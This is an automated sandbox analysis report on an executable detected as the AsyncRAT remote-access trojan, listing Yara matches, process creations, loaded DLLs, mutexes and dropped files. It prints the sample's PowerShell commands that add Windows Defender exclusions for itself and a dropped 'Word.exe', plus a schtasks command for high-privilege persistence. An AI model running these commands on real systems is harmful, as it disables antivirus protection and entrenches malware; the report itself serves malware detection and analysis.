Windows Analysis Report
file.exe

Malicious sample detected (through community Yara rule)

System Summary

Source: file.exe, type: SAMPLE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.0.file.exe.260000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000002.2555959588.0000000012691000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000000.1250043956.0000000000262000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Roaming\Word.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FFAAC4860C6	0_2_00007FFAAC4860C6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FFAAC49128A	0_2_00007FFAAC49128A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FFAAC493E45	0_2_00007FFAAC493E45
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FFAAC487272	0_2_00007FFAAC487272
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FFAAC481719	0_2_00007FFAAC481719
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FFAAC489B09	0_2_00007FFAAC489B09
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FFAAC4812F8	0_2_00007FFAAC4812F8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FFAAC4820F5	0_2_00007FFAAC4820F5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FFAAC48C5E8	0_2_00007FFAAC48C5E8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FFAAC5430E7	14_2_00007FFAAC5430E7
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 16_2_00007FFAAC5430E9	16_2_00007FFAAC5430E9
Source: C:\Users\user\AppData\Roaming\Word.exe	Code function: 20_2_00007FFAAC481719	20_2_00007FFAAC481719
Source: C:\Users\user\AppData\Roaming\Word.exe	Code function: 20_2_00007FFAAC4812F8	20_2_00007FFAAC4812F8
Source: C:\Users\user\AppData\Roaming\Word.exe	Code function: 20_2_00007FFAAC481038	20_2_00007FFAAC481038
Source: C:\Users\user\AppData\Roaming\Word.exe	Code function: 20_2_00007FFAAC4820F5	20_2_00007FFAAC4820F5
Source: C:\Users\user\AppData\Roaming\Word.exe	Code function: 23_2_00007FFAAC471719	23_2_00007FFAAC471719
Source: C:\Users\user\AppData\Roaming\Word.exe	Code function: 23_2_00007FFAAC4712F8	23_2_00007FFAAC4712F8
Source: C:\Users\user\AppData\Roaming\Word.exe	Code function: 23_2_00007FFAAC471038	23_2_00007FFAAC471038
Source: C:\Users\user\AppData\Roaming\Word.exe	Code function: 23_2_00007FFAAC4720F5	23_2_00007FFAAC4720F5
Source: C:\Users\user\AppData\Roaming\Word.exe	Code function: 24_2_00007FFAAC471719	24_2_00007FFAAC471719
Source: C:\Users\user\AppData\Roaming\Word.exe	Code function: 24_2_00007FFAAC4712F8	24_2_00007FFAAC4712F8
Source: C:\Users\user\AppData\Roaming\Word.exe	Code function: 24_2_00007FFAAC471038	24_2_00007FFAAC471038
Source: C:\Users\user\AppData\Roaming\Word.exe	Code function: 24_2_00007FFAAC4720F5	24_2_00007FFAAC4720F5
Source: C:\Users\user\AppData\Roaming\Word.exe	Code function: 25_2_00007FFAAC471719	25_2_00007FFAAC471719
Source: C:\Users\user\AppData\Roaming\Word.exe	Code function: 25_2_00007FFAAC4712F8	25_2_00007FFAAC4712F8
Source: C:\Users\user\AppData\Roaming\Word.exe	Code function: 25_2_00007FFAAC471038	25_2_00007FFAAC471038
Source: C:\Users\user\AppData\Roaming\Word.exe	Code function: 25_2_00007FFAAC4720F5	25_2_00007FFAAC4720F5

Source: file.exe, 00000000.00000002.2555959588.00000000126F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameXClient.exe4 vs file.exe
Source: file.exe, 00000000.00000000.1250043956.00000000002C9000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameXClient.exe4 vs file.exe
Source: file.exe, 00000000.00000002.2522399735.0000000000A60000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameRemoteDesktop.dll< vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameXClient.exe4 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe, type: SAMPLE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.0.file.exe.260000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000002.2555959588.0000000012691000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000000.1250043956.0000000000262000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Roaming\Word.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: file.exe, RLNc59m3K5qBU9nVpBi0AKzQWHnZ4GB7uwf5x7A0VpPRtOmln5U0LHjGRFKVDduY3yBpI1XMO.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: file.exe, RLNc59m3K5qBU9nVpBi0AKzQWHnZ4GB7uwf5x7A0VpPRtOmln5U0LHjGRFKVDduY3yBpI1XMO.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: file.exe, mYAr1k08yb0HzmCgp0BEzPHAJWWzMQXamHNPm3NQBAqCoG6fW6xB8GV5ryb6UTU5pbINLp5FL.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: Word.exe.0.dr, RLNc59m3K5qBU9nVpBi0AKzQWHnZ4GB7uwf5x7A0VpPRtOmln5U0LHjGRFKVDduY3yBpI1XMO.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: Word.exe.0.dr, RLNc59m3K5qBU9nVpBi0AKzQWHnZ4GB7uwf5x7A0VpPRtOmln5U0LHjGRFKVDduY3yBpI1XMO.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: Word.exe.0.dr, mYAr1k08yb0HzmCgp0BEzPHAJWWzMQXamHNPm3NQBAqCoG6fW6xB8GV5ryb6UTU5pbINLp5FL.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.file.exe.a60000.0.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.file.exe.a60000.0.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: Word.exe.0.dr, ub99fRJjxxhOnbd1IRYK3hmGl4xhrDhQcSfdxKqEc9S0YSzeggxQAVz5.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: Word.exe.0.dr, ub99fRJjxxhOnbd1IRYK3hmGl4xhrDhQcSfdxKqEc9S0YSzeggxQAVz5.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: file.exe, ub99fRJjxxhOnbd1IRYK3hmGl4xhrDhQcSfdxKqEc9S0YSzeggxQAVz5.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: file.exe, ub99fRJjxxhOnbd1IRYK3hmGl4xhrDhQcSfdxKqEc9S0YSzeggxQAVz5.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@20/21@1/2

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Roaming\Word.exe

Source: C:\Users\user\AppData\Roaming\Word.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7880:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7356:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7636:120:WilError_03
Source: C:\Users\user\Desktop\file.exe	Mutant created: \Sessions\1\BaseNamedObjects\Lt4TYUUi1TXxaPwR
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8092:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6312:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\Log.tmp

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: file.exe

ReversingLabs: Detection: 76%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\file.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'file.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Word.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Word.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Word" /tr "C:\Users\user\AppData\Roaming\Word.exe"
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Word.exe C:\Users\user\AppData\Roaming\Word.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Word.exe "C:\Users\user\AppData\Roaming\Word.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Word.exe "C:\Users\user\AppData\Roaming\Word.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Word.exe C:\Users\user\AppData\Roaming\Word.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\file.exe'	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'file.exe'	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Word.exe'	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Word.exe'	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Word" /tr "C:\Users\user\AppData\Roaming\Word.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
